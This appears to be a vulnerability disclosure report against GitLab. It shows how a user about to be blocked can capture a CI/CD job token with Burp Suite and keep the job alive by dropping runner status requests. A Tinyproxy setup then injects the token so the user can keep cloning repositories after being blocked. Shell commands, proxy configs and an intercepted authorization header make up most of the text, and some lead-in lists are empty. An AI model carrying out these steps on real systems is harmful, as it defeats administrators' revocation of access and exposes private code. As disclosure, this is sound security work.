###Summary
A blocked user does not have the ability to utilise Git client operations, GitLab UI access or API access. However, a blocked user can still use Git clone/Git pull client commands if they are able to obtain a CI/CD token before being blocked. This allows them to access projects they are already added to and any new internal projects.
There appears to be two possible bugs in the software that when combined can provide git pull/clone operations to a blocked user:
The steps for reproducing the above are summarised below:
Before user block:
After user block:
###PoC setup
For this PoC, the following configuration will be used:
{F425063}
Attacker user account: testuser1
All systems are updated and using the latest version of GitLab. There will be some additional example projects added that belong to other users that the attacker will have access to. This is to demonstrate pull/clone operations after being blocked.
###PoC Part 1: Setup CI/CD
-As the attacker, create a new project called block_poc
{F425065}
-Within the block_poc project, set the CI/CD job timeout to be 10 minutes
{F425066}
-On the attacker’s GitLab runner server 192.168.0.19, install GitLab Runner using the below instructions and join it to theblock_poc project using the unique token:
https://docs.gitlab.com/runner/install/linux-repository.html
>Note. The executor was set to shell
-Configure the GitLab runner 192.168.0.19 to use the attacker’s Burp Proxy on192.168.0.9:8080
$ mkdir /etc/systemd/system/gitlab-runner.service.d
$ vim /etc/systemd/system/gitlab-runner.service.d/http-proxy.conf
#Add the following content
[Service]
Environment="HTTP_PROXY=http://192.168.0.9:8080/"
$ :wq
$ systemctl daemon-reload
$ systemctl restart gitlab-runner
>Note. Attacker’s Burp proxy should listen on all interfaces
-On the gitlab-runner server 192.168.0.19, also proxy git client HTTP requests through the Burp Suite application on the attacker’s client192.168.0.9:8080. This is required as gitlab-runner will clone the repo using the git-client
$ su gitlab-runner
$ git config --global http.proxy http://192.168.0.9:8080
$ exit
-Within the block_poc project add a new**.gitlab-ci.yml** file with the following contents and commit it.
test:
script:
- echo "helloworld" > /tmp/test
{F425053}
###PoC Part 2: Obtain CI/CD token
-Turn on Burp Suite intercept and run the pipeline for the block_poc project. Intercept the request that the gitlab-runner makes when it attempts to clone the repository. This will contain the CI/CD token, DO NOT SWITCH OFF THE INTERCEPT YET
{F425055}
GET /testuser1/block_poc.git/info/refs?service=git-upload-pack HTTP/1.1
Host: 192.168.0.16
Authorization: Basic Z2l0bGFiLWNpLXRva2VuOlVwbnllR2plRlo4cV95UnptV1Fx
User-Agent: git/2.17.1
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US, *;q=0.9
Pragma: no-cache
Connection: close
The Token can be base64 decoded which will reveal the following:
==gitlab-ci-token:UpnyeGjeFZ8q_yRzmWQq==
-Continue moving through the HTTP requests in Burp until you encounter the gitlab-runner sending trace logs and a status update back to the GitLab server. Drop these requests, usually there are about 2/3.
{F425054}
{F425057}
>Note. There is no need to drop the runners standard job polling requests
-The CI/CD job is now in a continuous running state and as can be seen below and will not be terminated even if it passes the timeout threshold of 10 minutes. The attacking user or a GitLab admin would have to manually stop the job, until that point, the CI/CD token is still active.
{F425056}
###PoC Part3: Token usage
-As the GitLab server root user, block the attacker user account testuser1
{F425058}
{F425059}
-As the attacker user, install Tinyproxy on the attacker’s host 192.168.0.9. We will use this software as a forward proxy for the attacker’s Git client and append the GitLab CI/CD token as a HTTP header for all outbound traffic
$ apt-get install tinyproxy
$ vim /etc/tinyproxy/tinyproxy.conf
#Add the following content
Port 1234 #changed from default
AddHeader Authorization: Basic Z2l0bGFiLWNpLXRva2VuOlVwbnllR2plRlo4cV95UnptV1Fx
$ :wq
$ systemctl enable tinyproxy
$ systemctl start tinyproxy
>Note. Token above will change on each job run
>Note. I believe you cannot manipulate the headers when Gitlab is running on HTTPS with Tinyproxy, this was only tested on HTTP. However, you could manually test this step using Burp Suite if you want instead. e.g. intercept a git client HTTP request to clone a repo and then add in the authorisation header.
-Configure the attacker’s Git client on 192.168.0.9 to use the TinyProxy service
$ git config --global http.proxy http://127.0.0.1:1234
-As the attacker user, you can now carry out Git Pull operations on projects already downloaded locally or clone any new projects. This is dependent on tetuser1’s access permissions, but the user block in place has no effect.
#Clone testuser1-secret project
$ git clone http://192.168.0.16/testuser1/testuser1-secret.git
{F425060}
#Clone tetuser2/tetsuser2_new
#testuser1 granted developer permissions
$ git clone http://192.168.0.16/testuser2/testuser2_new.git
{F425061}
#Clone testuser2/internal_project
#new internal project added by testuser2 after testuser1 block
$ git clone http://192.168.0.16/testuser2/internal_project.git
{F425062}
The above PoC has demonstrated that a blocked user still has the ability to carry out some Git operations (and possibly docker operations, although not tested) on existing or new projects, e.g. pull down new code or clone new internal projects. However, this vulnerability could be halted by a GitLab administrator carrying out any of the below actions if detected:
Obviously the attacker would need to set the above up before their account was blocked, if it was blocked before they obtained to CI/CD token then they will not have access.